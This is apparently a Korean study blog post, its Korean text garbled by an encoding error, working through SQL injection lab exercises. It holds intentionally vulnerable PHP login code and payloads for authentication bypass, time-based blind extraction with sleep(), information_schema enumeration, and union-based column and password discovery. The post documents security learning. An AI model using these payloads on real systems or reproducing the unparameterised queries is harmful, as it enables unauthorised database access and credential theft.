SQL Injection?
ํน์ SQL ์ฟผ๋ฆฌ๋ฌธ์ ์ ์กํ์ฌ DB๋ก๋ถํฐ ์ํ๋ ์ ๋ณด๋ฅผ ํ์ทจํ๋ ํดํน ๊ธฐ๋ฒ
<?php
include "./config.php";
$con = con();
if(preg_match('/lecture|_|\.|\(\)|or|and/i', $_GET['id'])) exit("Detected!");
if(preg_match('/lecture|_|\.|\(\)|or|and/i', $_GET['password'])) exit("Detected!");
$sql = "SELECT id FROM users WHERE id='{$_GET['id']}' AND password='{$_GET['password']}'";
echo "<h1>Query : <strong>{$sql}</strong></h1><br><br><br>";
$result = @mysqli_fetch_array(mysqli_query($con,$sql));
if($result['id'] == 'admin')
{
solve();
}
highlight_file(__FILE__);
?>
pw๋ ๋ชจ๋ฅด๊ฒ ์ผ๋ id๊ฐ admin์ด๊ธฐ๋ง ํด๋ slove()๊ฐ ์คํ๋๋ฏ๋ก, id=admin์ผ๋ก ์ค์ ํด ์ฃผ๋ฉด ๋๋ค.
์ ๋ต
index.php?id='admin' -- -'&pw=''
pw ๋ถ๋ถ์ ์ฃผ์ ์ฒ๋ฆฌ : -- -
๋ ๋ค๋ฅธ ์ค์ต์ ์งํํด๋ณด์๋ค.
<?php
include "./config.php";
$con = con();
$id = isset($_GET['id']) ? $_GET['id'] : '';
$password = isset($_GET['password']) ? $_GET['password'] : '';
if (!empty($id) && !empty($password)) {
$sql = "SELECT id FROM users WHERE id='$id' AND password='$password'";
echo "<h1>Query : <strong>{$sql}</strong></h1><br><br><br>";
$result = @mysqli_fetch_array(mysqli_query($con,$sql));
if($result['id'] == 'admin')
{
echo "<h1>admin check!</h1><br><br><br>";
}
}
highlight_file(__FILE__);
?>
์ด๋ฒ์๋ id์ pw๊ฐ ๋ชจ๋ ์ ๋ฌ๋์ด์ผ ํ๋ค.
1. database ์ด๋ฆ ๊ธธ์ด ์์๋ด๊ธฐ
union select length(database())<6 and sleep(3) -- -' AND password='123'
2. database ์ด๋ฆ ์์๋ด๊ธฐ
' union select ascii(substr(database(),5,5))=49 nad sleep(3) -- -&password='123'
3. information_schema.columns๋ฅผ ํตํด ์กฐํํ๊ธฐ
' and (ascii(substring((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))=110) -- &password=123
์ ๋ต
id=admin&password=SELECT password FROM users WHERE id='admin'
2. Blind SQL Injection
- ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๋๋ฐ ํ ๋ฒ์ ์ ๋ณด๋ฅผ ํ์ทจํ ์ ์๋ ๊ฒฝ์ฐ
- ์ฐธ/๊ฑฐ์ง์ ์ด์ฉํ์ฌ ์ ๋ณด ํ์ทจ ์งํ
database() ๊ธ์๋ฅผ ํ๋์ฉ ๋ง์ถฐ๊ฐ๋ฉฐ ์ ๋ณด๋ฅผ ํ์ทจํ๋ ๋ชจ์ต.
T/F๋ฅผ ์๊ธฐ ์ํด sleep() ๋ฉ์๋๋ ์ ๊ทน ํ์ฉํ๊ธฐ๋ ํ๋ค.
' union select ๋ฅผ ํ์ฉํ์ฌ STORE์ ๋ณด์ด๋ ์ปฌ๋ผ์ ์ ๋ณด๋ฅผ ์กฐํ
์ต์์ ์ ์ ๊ฐ ๊ด๋ฆฌ๋ฅผ ๋ชจ๋ ์งํํ๋ค๋ฉด ์ด ๋ถ๋ถ์ ์ด์ฉํ์ฌ ๋ ๋ง์ ์ ์ ์ฟผ๋ฆฌ๋ฅผ ์ฃผ์ ํ ์ ์์ผ๋ ๋ถ์ ํ๋ฅผ ํ์.
์๋ ์์๋ password ๊ธธ์ด ๋ฐ ๋ด์ฉ์ ์์๋ด๋ ๊ณผ์ ์ค ์ผ๋ถ ์บก์ณ๋ณธ์ด๋ค.
ํด๋น ์ฌ์ดํธ์ password len์ 5๋ค.
์ด์ ๋ํด asfasdf' or id="์์๋ธ์์ด๋" and length(pass)<5 -- - ๋ฅผ ์คํํ ๊ฒฝ์ฐ
์๋ ๋ฉ์ธ์ง๋ฅผ ํตํด T์์ ์ ์ ์๋ค.
' or id="์์๋ธ์์ด๋" and substr(pass,1,2)='ne' -- -
์ฃผ์ด์ง ๊ธธ์ด์ ๋ง๊ฒ pass๋ฅผ ๋ง์ถ ์ ์๋ค.
์ ๋ฆฌ
โ๏ธ DB ๊ฒฐ๊ณผ๊ฐ ๋ด๋ถ์ ์ผ๋ก๋ง ์ฒ๋ฆฌ๋์ด ๋ณด์ด์ง ์๋๋ค.
โ๏ธ ๋ณด์ฌ์ง๋ ๋ฉ์์ง๋ฅผ ํตํด ์ฐธ/๊ฑฐ์ง์ ์ ์ ์๋ค.
3. Commnad Injection
- ํ๋ก๊ทธ๋จ์ด ์ธ๋ถ์์ ๋ฐ์ ์์คํ ๋ช ๋ น์ด๋ฅผ ๊ฒ์ฆํ์ง ์๊ณ ์คํํ์ฌ, ์๋ํ์ง ์์ ์์คํ ๋ช ๋ น์ด๊ฐ ์คํ๋๋ ์ทจ์ฝ์
- ๊ณต๊ฒฉ ์ ํ์ ์๋์ ๊ฐ๋ค.
- ๋ถ์ ์ ํ ๊ถํ ๋ณ๊ฒฝ
- ์์คํ ๊ถํ ํ๋
- ์์คํ ๋์/์ด์์ ์ ์ํฅ
์์๋ก ๋ณด๋ธ ๊ฐ์ ๋ํ DB Error๊ฐ ๋ทฐ๋จ์ ๋ณด์ฌ์ง๋ ๊ฒ์ ํตํด SQL Injection์ด ๋จนํ๋ ํ๊ฒฝ์์ ์ ์ ์๋ค.
์ด์ ์ปฌ๋ผ ๊ฐ์๋ฅผ ํ์ธํด ๋ณด์.
no=74' order by 7#
&no=74' order by 8# ์ ์ฃผ์ ํ์ ๋ Error๊ฐ ๋๋ ๊ฒ์ผ๋ก ๋ณด์, table board์ column ๊ฐ์๋ 7๊ฐ์์ ํ์ .
โ
' order by N -- -
order by์ ์ฃผ์์ ํ์ฉํ์ฌ ์ปฌ๋ผ ๊ฐ์๋ฅผ ์กฐํํ ์ ์๋ค.
์ด 7๊ฐ์ ์ปฌ๋ผ์ค ์กฐํ๊ฐ๋ฅํ ์ปฌ๋ผ์ด ๋ฌด์์ธ์ง ์์๋ณด์.
(๊ทธ๊ฑธ ํตํด ์ ๋ณด๋ฅผ ํ์ทจํด์ผ ํ๋๊น)
no=0' union select 1,2,3,4,5,6,7#
์ด ์ค ๋ณด์ด๋ ์ปฌ๋ผ 2,3,4,6์ ํ์ฉํ์ฌ ์กฐํํ๋ฉด ๋๊ฒ ๋ค.
๋ฒ์ ์ด๋ db user์ ๋ํด ์กฐํํด ๋ณด์.
์์์ ์ด๋ฏธ ์ ๋ฆฌํ์ง๋ง
table members๋ฅผ ์์์ ๋, ํด๋น ํ ์ด๋ธ์ ์ปฌ๋ผ์ ์กฐํํ ์๋ ์๋ค.
members ์ด๋ฆ ์ password ๋ฑ ์ฌ์ฉ์์ ๊ดํ ์ ๋ณด๊ฐ ๋ด๊ฒจ์์ ๊ฒ ๊ฐ์ผ๋, ์กฐํํด ๋ณผ ๋งํ๋ค.
members์ ์ปฌ๋ผ๋ช ์ ํ๋์ฉ ์กฐํํ๋ค.
limit 2,1 ์ ํตํด 2๋ฒ์งธ ์ปฌ๋ผ์ pass์์ ์ ์ ์๋ค.
'๐ธ๏ธ Web์ ๋ํด' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
์น๊ณผ ์น ํดํน (0) | 2024.08.11 |
---|